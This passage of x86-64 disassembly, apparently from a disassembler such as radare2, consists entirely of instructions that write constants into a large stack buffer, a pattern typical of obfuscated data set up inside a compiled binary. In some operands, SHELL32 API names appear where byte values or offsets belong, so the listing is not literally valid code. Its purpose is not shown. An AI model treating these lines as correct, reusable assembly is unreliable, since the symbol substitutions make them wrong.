mov eax, 0x79d
mov word [rsp + 0x1500], ax
mov eax, 0x72d
mov word [rsp + 0x1504], ax
movabs rax, 0x7d7d35909cfeca
mov qword [rsp + 0x8758], rax
movabs rax, 0x738b3d4dc8227d
mov qword [rsp + 0x8760], rax
mov eax, 0x82f
mov word [rsp + 0x1508], ax
movabs rax, 0x7cde178e7e91dc
mov qword [rsp + 0x8768], rax
movabs rax, 0x77413513d4e16a
mov qword [rsp + 0x8770], rax
mov eax, 0x8c
mov word [rsp + 0x150c], ax
mov dword [rsp + 0x40ac], 0x1fa8
movabs rax, 0x759ced447874eb
mov qword [rsp + 0x8778], rax
movabs rax, 0x76dd9d9224742b
mov qword [rsp + 0x8780], rax
mov eax, 0x35b
mov word [rsp + 0x1510], ax
mov byte [rsp + 0x21a], 0xc2
movabs rax, 0x70961f171a86bd
mov qword [rsp + 0x8788], rax
mov eax, 0xa3
mov word [rsp + 0x1514], ax
movabs rax, 0x7781e361d13981
mov qword [rsp + 0x8790], rax
mov byte [rsp + 0x21b], ILIsParent
mov dword [rsp + 0x40b0], 0x3997a9df
mov byte [rsp + 0x21c], ILIsParent
mov byte [rsp + 0x21d], 0x7a
movabs rax, 0x7a32b575bab8a1
mov qword [rsp + 0x8798], rax
mov eax, 0x1f5
mov word [rsp + 0x1518], ax
mov eax, 0xf83
mov word [rsp + 0x151c], ax
mov eax, 0x7e6
mov word [rsp + 0x1520], ax
movabs rax, 0x79dd056df81896
mov qword [rsp + 0x87a0], rax
mov eax, 0x171
mov word [rsp + 0x1524], ax
mov eax, 0x662
mov word [rsp + 0x1528], ax
movabs rax, 0x7b779626254f6d
mov qword [rsp + 0x87a8], rax
mov dword [rsp + 0x40b4], 0x68778a20
mov dword [rsp + 0x40b8], 0xde0f
mov eax, 0xc9f
mov word [rsp + 0x152c], ax
mov eax, 0xeb8
mov word [rsp + 0x1530], ax
mov byte [rsp + 0x21e], 0x22
mov dword [rsp + 0x40bc], 0x45554307
movabs rax, 0x734cee93b2dd9d
mov qword [rsp + 0x87b0], rax
movabs rax, 0x74dc8f725dcabd
mov qword [rsp + 0x87b8], rax
mov dword [rsp + 0x40c0], 0x192f78d7
mov byte [rsp + 0x21f], 8
mov dword [rsp + 0x40c4], 0xbca4
mov byte [rsp + 0x220], 0x2c
mov dword [rsp + 0x40c8], 0x4fc731e4
mov eax, 0x2b2
mov word [rsp + 0x1534], ax
mov dword [rsp + 0x40cc], 0xfa67
mov dword [rsp + 0x40d0], 0x53b4
movabs rax, 0x7d6e58be49fa9d
mov qword [rsp + 0x87c0], rax
mov eax, 0x3e0
mov word [rsp + 0x1538], ax
mov eax, 0x9fe
mov word [rsp + 0x153c], ax
movabs rax, 0x7c75607e6dcbc9
mov qword [rsp + 0x87c8], rax
mov dword [rsp + 0x40d4], 0x8514
mov eax, 0x5e2
mov word [rsp + 0x1540], ax
mov eax, 0x4ea
mov word [rsp + 0x1544], ax
mov eax, 0x28e
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x40d8], 0x4e44
mov dword [rsp + 0x40dc], 0x1696a238
mov byte [rsp + 0x221], 0xeb
mov eax, 0xc66
mov word [rsp + 0x154c], ax
movabs rax, 0x733e55b0a4d282
mov qword [rsp + 0x87d0], rax
movabs rax, 0x7126db17155047
mov qword [rsp + 0x87d8], rax
movabs rax, 0x7ac17ea4384887
mov qword [rsp + 0x87e0], rax
mov eax, 0xc00
mov word [rsp + 0x1550], ax
movabs rax, 0x7117c1325582b9
mov qword [rsp + 0x87e8], rax
movabs rax, 0x7d4bb1fa5615b8
mov qword [rsp + 0x87f0], rax
mov byte [rsp + 0x222], reloc.SHELL32.dll_SHSetInstanceExplorer
mov byte [rsp + 0x223], 0x7f
mov eax, 0x45f
mov word [rsp + 0x1554], ax
mov eax, 0xb7f
mov word [rsp + 0x1558], ax
mov eax, 0x7af
mov word [rsp + 0x155c], ax
mov eax, 0x2bf
mov word [rsp + 0x1560], ax
mov byte [rsp + 0x224], SHDoDragDrop
mov eax, 0x1b8
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x40e0], 0x740a
mov byte [rsp + 0x225], 0xc9
movabs rax, 0x7831d6c267b092
mov qword [rsp + 0x87f8], rax
mov byte [rsp + 0x226], 0x4e
movabs rax, 0x7df6ab23f2a5b8
mov qword [rsp + 0x8800], rax
mov byte [rsp + 0x227], 0x32
mov byte [rsp + 0x228], 0x33
mov dword [rsp + 0x40e4], 0x34c87757
mov dword [rsp + 0x40e8], 0xd076
movabs rax, 0x7d1026964ffbc3
mov qword [rsp + 0x8808], rax
movabs rax, 0x7a279715addf78
mov qword [rsp + 0x8810], rax
mov byte [rsp + 0x229], 0x2d
mov eax, 0xe92
mov word [rsp + 0x1568], ax
mov byte [rsp + 0x22a], 9
mov byte [rsp + 0x22b], ILIsEqual
movabs rax, 0x76b3a56bc31eb5
mov qword [rsp + 0x8818], rax
mov byte [rsp + 0x22c], ILIsParent
mov byte [rsp + 0x22d], 0xdd
mov byte [rsp + 0x22e], 0x3e
mov eax, 0x4d9
mov word [rsp + 0x156c], ax
mov byte [rsp + 0x22f], 0xf9
mov byte [rsp + 0x230], 0xa7
mov byte [rsp + 0x231], 0x5f
movabs rax, 0x7084f7ba67100d
mov qword [rsp + 0x8820], rax
mov byte [rsp + 0x232], 0x36
movabs rax, 0x7981db771c5cfd
mov qword [rsp + 0x8828], rax
mov eax, 0x329
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x40ec], 0x5ea7c5dc
mov eax, 0x7e4
mov word [rsp + 0x1574], ax
movabs rax, 0x7e952d8f34625b
mov qword [rsp + 0x8830], rax
mov eax, 0xe4b
mov word [rsp + 0x1578], ax
movabs rax, 0x7d13892da473c6
mov qword [rsp + 0x8838], rax
mov eax, 0x34b
mov word [rsp + 0x157c], ax
movabs rax, 0x7b59af27572d07
mov qword [rsp + 0x8840], rax
mov byte [rsp + 0x233], 0x6d
mov eax, 0x65f
mov word [rsp + 0x1580], ax
mov dword [rsp + 0x40f0], 0x6ee3
mov eax, 0x8cd
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x234], SHDoDragDrop
mov eax, 0x792
mov word [rsp + 0x1588], ax
mov byte [rsp + 0x235], 0x7b
movabs rax, 0x7b3c47201f2d2b
mov qword [rsp + 0x8848], rax
movabs rax, 0x744699780d1b3c
mov qword [rsp + 0x8850], rax
movabs rax, 0x79994b144063e0
mov qword [rsp + 0x8858], rax
mov eax, 0xb59
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x40f4], 0x2d0e
mov eax, 0x1df
mov word [rsp + 0x1590], ax
mov byte [rsp + 0x236], SHDoDragDrop
mov byte [rsp + 0x237], 0x6d
mov eax, 0x5aa
mov word [rsp + 0x1594], ax
mov dword [rsp + 0x40f8], 0x6468b62c
mov eax, 0xa1f
mov word [rsp + 0x1598], ax
mov eax, 0x66f
mov word [rsp + 0x159c], ax
movabs rax, 0x736ad5918a1822
mov qword [rsp + 0x8860], rax
mov eax, 0x44e
mov word [rsp + 0x15a0], ax
mov eax, 0xce9
mov word [rsp + 0x15a4], ax
mov eax, 0x3b1
mov word [rsp + 0x15a8], ax
movabs rax, 0x7ef0f6799d283f
mov qword [rsp + 0x8868], rax
mov eax, 0xf08
mov word [rsp + 0x15ac], ax
movabs rax, 0x71e5580ab449e9
mov qword [rsp + 0x8870], rax
mov dword [rsp + 0x40fc], 0xc474b8
mov dword [rsp + 0x4100], 0x7a56
mov byte [rsp + 0x238], 0x73
mov eax, 0x61b
mov word [rsp + 0x15b0], ax
mov eax, 0x496
mov word [rsp + 0x15b4], ax
movabs rax, 0x711135f2150e64
mov qword [rsp + 0x8878], rax
mov byte [rsp + 0x239], 0xd2
mov eax, 0x666
mov word [rsp + 0x15b8], ax
mov eax, 0x5c3
mov word [rsp + 0x15bc], ax
mov byte [rsp + 0x23a], 0x7a
mov eax, 0x33e
mov word [rsp + 0x15c0], ax
mov eax, 0xe6b
mov word [rsp + 0x15c4], ax
mov eax, 0x3df
mov word [rsp + 0x15c8], ax
mov byte [rsp + 0x23b], 0xb9
movabs rax, 0x7e1defb952aaa1
mov qword [rsp + 0x8880], rax
mov byte [rsp + 0x23c], 4
mov byte [rsp + 0x23d], 0x38
movabs rax, 0x7b4eb63b87e020
mov qword [rsp + 0x8888], rax
mov eax, 0x339
mov word [rsp + 0x15cc], ax
mov byte [rsp + 0x23e], 0x69
mov byte [rsp + 0x23f], 0x8f
mov eax, 0x412
mov word [rsp + 0x15d0], ax
mov dword [rsp + 0x4104], 0x5356
movabs rax, 0x7338e0e38df7f5
mov qword [rsp + 0x8890], rax
mov byte [rsp + 0x240], 0xe2
mov eax, 0x225
mov word [rsp + 0x15d4], ax
mov eax, 0xdf
mov word [rsp + 0x15d8], ax
movabs rax, 0x7e2ff45e4faec2
mov qword [rsp + 0x8898], rax
movabs rax, 0x7ad57e468601e8
mov qword [rsp + 0x88a0], rax
mov dword [rsp + 0x4108], 0x5416eba2
movabs rax, 0x78872f7d7c37c4
mov qword [rsp + 0x88a8], rax
movabs rax, 0x7bfb7024bf1ca5
mov qword [rsp + 0x88b0], rax
mov byte [rsp + 0x241], 0xd3
mov byte [rsp + 0x242], 0x4f
mov eax, 0x5a6
mov word [rsp + 0x15dc], ax
mov eax, 0x177
mov word [rsp + 0x15e0], ax
mov byte [rsp + 0x243], ILIsEqual
mov eax, 0xfc7
mov word [rsp + 0x15e4], ax
mov eax, 0x109
mov word [rsp + 0x15e8], ax
mov dword [rsp + 0x410c], 0x13945962
mov eax, 0xdea
mov word [rsp + 0x15ec], ax
mov byte [rsp + 0x244], 4
mov dword [rsp + 0x4110], 0x514f
mov dword [rsp + 0x4114], 0x100f79a
mov byte [rsp + 0x245], 0x6a
movabs rax, 0x7ea3d095e5f9c9
mov qword [rsp + 0x88b8], rax
movabs rax, 0x794da10f9ffdb5
mov qword [rsp + 0x88c0], rax
mov dword [rsp + 0x4118], 0x658d
movabs rax, 0x753cc70f6f8d1a
mov qword [rsp + 0x88c8], rax
movabs rax, 0x7c082230da124f
mov qword [rsp + 0x88d0], rax
movabs rax, 0x7595a075e97ed5
mov qword [rsp + 0x88d8], rax
mov eax, 0x40a
mov word [rsp + 0x15f0], ax
movabs rax, 0x74a9161aa5e4b0
mov qword [rsp + 0x88e0], rax
movabs rax, 0x79ab4db3bd0c02
mov qword [rsp + 0x88e8], rax
mov byte [rsp + 0x246], 0x3f
movabs rax, 0x74569cd14f961d
mov qword [rsp + 0x88f0], rax
mov dword [rsp + 0x411c], 0xfd34
mov eax, 0x2a1
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x247], 0x6f
mov dword [rsp + 0x4120], 0x15e6b51f
mov byte [rsp + 0x248], 0xcd
mov eax, 0x2ad
mov word [rsp + 0x15f8], ax
mov eax, 0xf7d
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x4124], 0xa5e7
mov byte [rsp + 0x249], 0x24
mov dword [rsp + 0x4128], 0x489c
mov dword [rsp + 0x412c], 0xc928
mov byte [rsp + 0x24a], 0x5a
mov eax, 0x4fb
mov word [rsp + 0x1600], ax
mov dword [rsp + 0x4130], 0x5fb4
mov eax, 0x60
mov word [rsp + 0x1604], ax
mov byte [rsp + 0x24b], 0x6c
mov byte [rsp + 0x24c], 0x43
mov byte [rsp + 0x24d], 0x21
mov eax, 0x6f
mov word [rsp + 0x1608], ax
mov dword [rsp + 0x4134], 0x17b95c7c
mov eax, 0x16b
mov word [rsp + 0x160c], ax
mov byte [rsp + 0x24e], 0xe3
mov eax, 0x25
mov word [rsp + 0x1610], ax
mov dword [rsp + 0x4138], 0xf52
movabs rax, 0x7a8aac746ba263
mov qword [rsp + 0x88f8], rax
mov eax, 0xc9
mov word [rsp + 0x1614], ax
mov dword [rsp + 0x413c], 0xdd67
mov dword [rsp + 0x4140], 0x76e1
mov eax, 0x3ea
mov word [rsp + 0x1618], ax
mov eax, 0x3ae
mov word [rsp + 0x161c], ax
mov dword [rsp + 0x4144], 0x6885
movabs rax, 0x7e267fcee0aa4f
mov qword [rsp + 0x8900], rax
movabs rax, 0x7c71a4b9d5c900
mov qword [rsp + 0x8908], rax
mov dword [rsp + 0x4148], 0xb597
mov byte [rsp + 0x24f], 0x72
mov eax, 0xee0
mov word [rsp + 0x1620], ax
mov eax, 0x861
mov word [rsp + 0x1624], ax
movabs rax, 0x71a4ff2ea6dc75
mov qword [rsp + 0x8910], rax
mov dword [rsp + 0x414c], 0x18a1ac11
mov byte [rsp + 0x250], 0x7f
mov byte [rsp + 0x251], 0x86
movabs rax, 0x7650ee30ef5d03
mov qword [rsp + 0x8918], rax
movabs rax, 0x764178e71bb1ae
mov qword [rsp + 0x8920], rax
mov eax, 0x221
mov word [rsp + 0x1628], ax
mov eax, 0x1ab
mov word [rsp + 0x162c], ax
movabs rax, 0x70a4ba4ffd39a2
mov qword [rsp + 0x8928], rax
mov eax, 0x27e
mov word [rsp + 0x1630], ax
mov eax, 0x732
mov word [rsp + 0x1634], ax
movabs rax, 0x7ef5d8e0089ddd
mov qword [rsp + 0x8930], rax
movabs rax, 0x7bdd933e973a2f
mov qword [rsp + 0x8938], rax
movabs rax, 0x727f1330bd9606
mov qword [rsp + 0x8940], rax
mov dword [rsp + 0x4150], 0x36772892
mov eax, 0x62f
mov word [rsp + 0x1638], ax
mov eax, 0xc6c
mov word [rsp + 0x163c], ax
mov eax, 0x79a
mov word [rsp + 0x1640], ax
mov eax, 0x2c0
mov word [rsp + 0x1644], ax
movabs rax, 0x772ecccbf5d051
mov qword [rsp + 0x8948], rax
movabs rax, 0x7acf120bb5e5f2
mov qword [rsp + 0x8950], rax
mov dword [rsp + 0x4154], 0xabd1
movabs rax, 0x735bb045c149e0
mov qword [rsp + 0x8958], rax
mov byte [rsp + 0x252], 0x7b
mov eax, 0x61c
mov word [rsp + 0x1648], ax
movabs rax, 0x70e93205f020d5
mov qword [rsp + 0x8960], rax
movabs rax, 0x764969597dd2b4
mov qword [rsp + 0x8968], rax
mov eax, 0xb05
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x253], 0x7e
mov eax, 0x509
mov word [rsp + 0x1650], ax
movabs rax, 0x75e0165fc1fc1a
mov qword [rsp + 0x8970], rax
mov dword [rsp + 0x4158], 0x585d82d
mov eax, 0x4a7
mov word [rsp + 0x1654], ax
movabs rax, 0x75755f31ea8c20
mov qword [rsp + 0x8978], rax
movabs rax, 0x7ae4c183347508
mov qword [rsp + 0x8980], rax
mov eax, 0x43
mov word [rsp + 0x1658], ax
movabs rax, 0x77239d562baa26
mov qword [rsp + 0x8988], rax
mov byte [rsp + 0x254], 3
movabs rax, 0x74e880718121d5
mov qword [rsp + 0x8990], rax
movabs rax, 0x789c332c6b6624
mov qword [rsp + 0x8998], rax
mov byte [rsp + 0x255], 0
mov dword [rsp + 0x415c], 0x7276
mov dword [rsp + 0x4160], 0x5bc6
mov dword [rsp + 0x4164], 0x3c3a2729
mov eax, 0xad7
mov word [rsp + 0x165c], ax
mov eax, 0xbf
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x256], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x39
mov word [rsp + 0x1664], ax
mov dword [rsp + 0x4168], 0x73838cb
mov eax, 0x476
mov word [rsp + 0x1668], ax
mov byte [rsp + 0x257], 0x3e
mov eax, 0x598
mov word [rsp + 0x166c], ax
movabs rax, 0x782060c3e64d15
mov qword [rsp + 0x89a0], rax
mov eax, 0xf12
mov word [rsp + 0x1670], ax
movabs rax, 0x760f30a050bfb8
mov qword [rsp + 0x89a8], rax
movabs rax, 0x71c4492ceda194
mov qword [rsp + 0x89b0], rax
movabs rax, 0x783d869cd2df03
mov qword [rsp + 0x89b8], rax
mov byte [rsp + 0x258], 6
mov dword [rsp + 0x416c], 0xe619
movabs rax, 0x7dd23c227aff9e
mov qword [rsp + 0x89c0], rax
mov eax, 0x473
mov word [rsp + 0x1674], ax
mov eax, 0x74c
mov word [rsp + 0x1678], ax
mov byte [rsp + 0x259], 0x35
mov dword [rsp + 0x4170], 0x262f1d30
mov eax, 0xa7e
mov word [rsp + 0x167c], ax
mov byte [rsp + 0x25a], 0x7a
movabs rax, 0x72c742f165b624
mov qword [rsp + 0x89c8], rax
movabs rax, 0x76d93dcbd0219b
mov qword [rsp + 0x89d0], rax
mov dword [rsp + 0x4174], 0x1d8a230d
mov dword [rsp + 0x4178], 0x82f3
movabs rax, 0x7ee79e41c3b3be
mov qword [rsp + 0x89d8], rax
mov byte [rsp + 0x25b], 8
mov byte [rsp + 0x25c], 0x43
movabs rax, 0x726634bed7a06b
mov qword [rsp + 0x89e0], rax
movabs rax, 0x7be67227a99392
mov qword [rsp + 0x89e8], rax
movabs rax, 0x710b5a282ddcaa
mov qword [rsp + 0x89f0], rax
movabs rax, 0x7d85238ea5a161
mov qword [rsp + 0x89f8], rax
movabs rax, 0x77cc3fba2f9ed4
mov qword [rsp + 0x8a00], rax
mov dword [rsp + 0x417c], 0xdd07
movabs rax, 0x77cfc1fd20ff38
mov qword [rsp + 0x8a08], rax
movabs rax, 0x7a1f932841e39f
mov qword [rsp + 0x8a10], rax
mov eax, 0x25d
mov word [rsp + 0x1680], ax
mov byte [rsp + 0x25d], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x4180], 0x484b
mov dword [rsp + 0x4184], 0xa671
mov eax, 0x79c
mov word [rsp + 0x1684], ax
mov eax, 0xf54
mov word [rsp + 0x1688], ax
movabs rax, 0x74653b930e226d
mov qword [rsp + 0x8a18], rax
movabs rax, 0x72ba75c1b2838a
mov qword [rsp + 0x8a20], rax
movabs rax, 0x7c0aaec9a86b85
mov qword [rsp + 0x8a28], rax
movabs rax, 0x7dbede8fb40618
mov qword [rsp + 0x8a30], rax
movabs rax, 0x7a0de375c2437e
mov qword [rsp + 0x8a38], rax
mov byte [rsp + 0x25e], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x81c
mov word [rsp + 0x168c], ax
movabs rax, 0x79d47101d4b30c
mov qword [rsp + 0x8a40], rax
mov dword [rsp + 0x4188], 0x6996
movabs rax, 0x7c3cc8a77c69c9
mov qword [rsp + 0x8a48], rax
mov dword [rsp + 0x418c], 0xa70c
mov byte [rsp + 0x25f], 0x20
mov byte [rsp + 0x260], 0x3a
mov eax, 0x22
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x4190], 0x4a07
mov byte [rsp + 0x261], 2
movabs rax, 0x79661f3713fe33
mov qword [rsp + 0x8a50], rax
movabs rax, 0x72d74cb48a1d68
mov qword [rsp + 0x8a58], rax
movabs rax, 0x7589f65205ce5b
mov qword [rsp + 0x8a60], rax
mov dword [rsp + 0x4194], 0xbd2e
mov eax, 0x75f
mov word [rsp + 0x1694], ax
movabs rax, 0x7640e5bf47ec7c
mov qword [rsp + 0x8a68], rax
mov byte [rsp + 0x262], 0x30
mov byte [rsp + 0x263], 3
mov dword [rsp + 0x4198], 0xf26c
mov byte [rsp + 0x264], 0x3e
mov byte [rsp + 0x265], 6
movabs rax, 0x74ccb1164616ca
mov qword [rsp + 0x8a70], rax
mov eax, 0xbaf
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x419c], 0x5ef1d33c
mov byte [rsp + 0x266], 0x2c
mov dword [rsp + 0x41a0], 0x7e58
mov eax, 0x418
mov word [rsp + 0x169c], ax
mov dword [rsp + 0x41a4], 0x640323b7
mov dword [rsp + 0x41a8], 0x27e4
mov eax, 0x4fa
mov word [rsp + 0x16a0], ax
mov eax, 0xfd7
mov word [rsp + 0x16a4], ax
mov eax, 0x4ec
mov word [rsp + 0x16a8], ax
mov byte [rsp + 0x267], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x268], 0x5d
mov eax, 0x760
mov word [rsp + 0x16ac], ax
mov dword [rsp + 0x41ac], 0xdbcb
mov eax, 0x2ad
mov word [rsp + 0x16b0], ax
mov dword [rsp + 0x41b0], 0x6a46
movabs rax, 0x7d5adb923cfc01
mov qword [rsp + 0x8a78], rax
movabs rax, 0x714e31cc5a5674
mov qword [rsp + 0x8a80], rax
movabs rax, 0x7d9654b0ffe575
mov qword [rsp + 0x8a88], rax
mov eax, 0x136
mov word [rsp + 0x16b4], ax
movabs rax, 0x7702f578078b1d
mov qword [rsp + 0x8a90], rax
mov dword [rsp + 0x41b4], 0x68f1f1ab
mov dword [rsp + 0x41b8], 0x57c983c5
mov dword [rsp + 0x41bc], 0x32a68962
mov dword [rsp + 0x41c0], 0x265f
mov eax, 0xb26
mov word [rsp + 0x16b8], ax
movabs rax, 0x7029bca92d4b71
mov qword [rsp + 0x8a98], rax
mov eax, 0x286
mov word [rsp + 0x16bc], ax
mov byte [rsp + 0x269], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x26a], 0x6b
movabs rax, 0x73b650261c1eda
mov qword [rsp + 0x8aa0], rax
mov eax, 0x589
mov word [rsp + 0x16c0], ax
mov byte [rsp + 0x26b], 0xf8
movabs rax, 0x7d9d2c3921891d
mov qword [rsp + 0x8aa8], rax
mov eax, 0xe17
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x41c4], 0x3c5d076d
mov dword [rsp + 0x41c8], 0x78747893
mov dword [rsp + 0x41cc], 0x3c6
mov byte [rsp + 0x26c], 0x19
mov dword [rsp + 0x41d0], 0xe553
mov byte [rsp + 0x26d], 0x72
mov eax, 0x4b2
mov word [rsp + 0x16c8], ax
mov eax, 0x598
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x41d4], 0x27f01127
mov eax, 0x65e
mov word [rsp + 0x16d0], ax
mov byte [rsp + 0x26e], 0x40
mov eax, 0x1f7
mov word [rsp + 0x16d4], ax
mov eax, 0x939
mov word [rsp + 0x16d8], ax
movabs rax, 0x70f77327c7983c
mov qword [rsp + 0x8ab0], rax
mov eax, 0x186
mov word [rsp + 0x16dc], ax
mov dword [rsp + 0x41d8], 0xcbdc
mov byte [rsp + 0x26f], 0x30
movabs rax, 0x7765567efe71b0
mov qword [rsp + 0x8ab8], rax
mov byte [rsp + 0x270], 0x37
mov dword [rsp + 0x41dc], 0x904d
mov eax, 0x6b3
mov word [rsp + 0x16e0], ax
movabs rax, 0x7013548a649f93
mov qword [rsp + 0x8ac0], rax
mov eax, 0xaa3
mov word [rsp + 0x16e4], ax
mov byte [rsp + 0x271], ILIsEqual
mov eax, 0x50e
mov word [rsp + 0x16e8], ax
mov dword [rsp + 0x41e0], 0xcbf1
mov dword [rsp + 0x41e4], 0xaae7
mov byte [rsp + 0x272], SHDoDragDrop
movabs rax, 0x7e8e9a0d8d3def
mov qword [rsp + 0x8ac8], rax
mov dword [rsp + 0x41e8], 0x466a2ac5
mov eax, 0x966
mov word [rsp + 0x16ec], ax
mov dword [rsp + 0x41ec], 0xd2b8
mov eax, 0xb50
mov word [rsp + 0x16f0], ax
mov dword [rsp + 0x41f0], 0x3ce8
movabs rax, 0x7be2f98dd2a045
mov qword [rsp + 0x8ad0], rax
mov byte [rsp + 0x273], ILFindLastID
mov eax, 0xc60
mov word [rsp + 0x16f4], ax
mov eax, 0x1a6
mov word [rsp + 0x16f8], ax
movabs rax, 0x792163d968849f
mov qword [rsp + 0x8ad8], rax
mov eax, 0x335
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x274], 0x1e
mov dword [rsp + 0x41f4], 0x6527
mov dword [rsp + 0x41f8], 0x61ba9674
mov byte [rsp + 0x275], SHGetNewLinkInfoW
mov dword [rsp + 0x41fc], 0x7f7f6110
mov eax, 0xa9
mov word [rsp + 0x1700], ax
mov byte [rsp + 0x276], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x277], 0x6c
mov dword [rsp + 0x4200], 0x856bee2
movabs rax, 0x738907f89ab8cd
mov qword [rsp + 0x8ae0], rax
mov byte [rsp + 0x278], 0xc4
mov dword [rsp + 0x4204], 0x75f9
movabs rax, 0x758c80012fc041
mov qword [rsp + 0x8ae8], rax
mov eax, 0x87
mov word [rsp + 0x1704], ax
mov eax, 0x878
mov word [rsp + 0x1708], ax
movabs rax, 0x7975636c6f56f8
mov qword [rsp + 0x8af0], rax
movabs rax, 0x70cef81a6ec1b4
mov qword [rsp + 0x8af8], rax
movabs rax, 0x7e2def9ce0f34c
mov qword [rsp + 0x8b00], rax
mov byte [rsp + 0x279], 0x75
movabs rax, 0x713288dd8ebe9d
mov qword [rsp + 0x8b08], rax
mov byte [rsp + 0x27a], 2
mov eax, 0xbf7
mov word [rsp + 0x170c], ax
mov eax, 0x74a
mov word [rsp + 0x1710], ax
mov eax, 0x381
mov word [rsp + 0x1714], ax
mov byte [rsp + 0x27b], 0x29
mov eax, 0x3cd
mov word [rsp + 0x1718], ax
mov byte [rsp + 0x27c], 0x25
movabs rax, 0x7a0cf684e4d9a8
mov qword [rsp + 0x8b10], rax
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x171c], ax
mov dword [rsp + 0x4208], 0xc87d
mov eax, 0x49c
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x420c], 0x88ed
mov dword [rsp + 0x4210], 0x779ed903
movabs rax, 0x7400a324f9ef54
mov qword [rsp + 0x8b18], rax
movabs rax, 0x7884ab210bb917
mov qword [rsp + 0x8b20], rax
mov eax, 0x28
mov word [rsp + 0x1724], ax
mov eax, 0x1c7
mov word [rsp + 0x1728], ax
movabs rax, 0x71c9bcdf8a7c36
mov qword [rsp + 0x8b28], rax
mov byte [rsp + 0x27d], 0x5b
mov eax, 0x754
mov word [rsp + 0x172c], ax
movabs rax, 0x756859be008ea3
mov qword [rsp + 0x8b30], rax
mov byte [rsp + 0x27e], 0x96
movabs rax, 0x7c12ede4255e98
mov qword [rsp + 0x8b38], rax
mov byte [rsp + 0x27f], ILIsEqual
mov eax, 0x539
mov word [rsp + 0x1730], ax
mov dword [rsp + 0x4214], 0x4f8f
mov dword [rsp + 0x4218], 0xc739
mov eax, 9
mov word [rsp + 0x1734], ax
movabs rax, 0x7eb43c3e47f05d
mov qword [rsp + 0x8b40], rax
mov eax, 0x27a
mov word [rsp + 0x1738], ax
movabs rax, 0x758174f9ca35a1
mov qword [rsp + 0x8b48], rax
mov eax, 0x434
mov word [rsp + 0x173c], ax
mov eax, 0x578
mov word [rsp + 0x1740], ax
mov byte [rsp + 0x280], PathYetAnotherMakeUniqueName
movabs rax, 0x76f76e8b2b382a
mov qword [rsp + 0x8b50], rax
mov eax, 0x716
mov word [rsp + 0x1744], ax
mov eax, 0xe89
mov word [rsp + 0x1748], ax
movabs rax, 0x77b5c9ac55bfce
mov qword [rsp + 0x8b58], rax
movabs rax, 0x741706c17481ce
mov qword [rsp + 0x8b60], rax
mov byte [rsp + 0x281], 0x3d
mov byte [rsp + 0x282], 0x62
mov eax, 0x8dc
mov word [rsp + 0x174c], ax
mov byte [rsp + 0x283], 0x3c
mov dword [rsp + 0x421c], 0x5af0
mov dword [rsp + 0x4220], 0x402cc6d4
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], SHDoDragDrop
mov eax, 0x68b
mov word [rsp + 0x1750], ax
movabs rax, 0x7dc5d124daea9f
mov qword [rsp + 0x8b68], rax
movabs rax, 0x78d144caf3b183
mov qword [rsp + 0x8b70], rax
movabs rax, 0x73f2948ebee399
mov qword [rsp + 0x8b78], rax
mov dword [rsp + 0x4224], 0x1d18
mov dword [rsp + 0x4228], 0xb69e
movabs rax, 0x769498425324db
mov qword [rsp + 0x8b80], rax
mov eax, 0x20a
mov word [rsp + 0x1754], ax
movabs rax, 0x72c67f67687b60
mov qword [rsp + 0x8b88], rax
movabs rax, 0x7cdd160bd93d92
mov qword [rsp + 0x8b90], rax
mov byte [rsp + 0x285], 0x3b
mov dword [rsp + 0x422c], 0x4756
mov eax, 0x338
mov word [rsp + 0x1758], ax
mov eax, 0x2c4
mov word [rsp + 0x175c], ax
movabs rax, 0x7a0e5252af7ceb
mov qword [rsp + 0x8b98], rax
movabs rax, 0x78476e4172e7ef
mov qword [rsp + 0x8ba0], rax
movabs rax, 0x772c71c0ee0436
mov qword [rsp + 0x8ba8], rax
movabs rax, 0x78d3b155eb72a3
mov qword [rsp + 0x8bb0], rax
movabs rax, 0x76aab18bdb845d
mov qword [rsp + 0x8bb8], rax
movabs rax, 0x7db952379466b4
mov qword [rsp + 0x8bc0], rax
mov eax, 0xf32
mov word [rsp + 0x1760], ax
mov byte [rsp + 0x286], 0x4f
mov eax, 0x12a
mov word [rsp + 0x1764], ax
movabs rax, 0x7e5be07875256a
mov qword [rsp + 0x8bc8], rax
mov byte [rsp + 0x287], 0x5a
mov byte [rsp + 0x288], 0xe0
movabs rax, 0x79c81efe1d6968
mov qword [rsp + 0x8bd0], rax
mov dword [rsp + 0x4230], 0xa2d4
mov dword [rsp + 0x4234], 0x74be10d3
movabs rax, 0x799efdda26b1b6
mov qword [rsp + 0x8bd8], rax
movabs rax, 0x7c1442df99f3e7
mov qword [rsp + 0x8be0], rax
mov eax, 0x478
mov word [rsp + 0x1768], ax
mov byte [rsp + 0x289], SHSetInstanceExplorer
mov eax, 0xfcb
mov word [rsp + 0x176c], ax
movabs rax, 0x7193158f37ef76
mov qword [rsp + 0x8be8], rax
mov byte [rsp + 0x28a], 0x25
mov eax, 0x8e2
mov word [rsp + 0x1770], ax
mov eax, 0x244
mov word [rsp + 0x1774], ax
mov byte [rsp + 0x28b], 0x59
mov dword [rsp + 0x4238], 0x1a74fd1f
movabs rax, 0x7cd94624093476
mov qword [rsp + 0x8bf0], rax
mov byte [rsp + 0x28c], 0x5d
mov eax, 0x5c3
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x423c], 0x9318
movabs rax, 0x7dd69939dc3106
mov qword [rsp + 0x8bf8], rax
mov dword [rsp + 0x4240], 0x16df5b6a
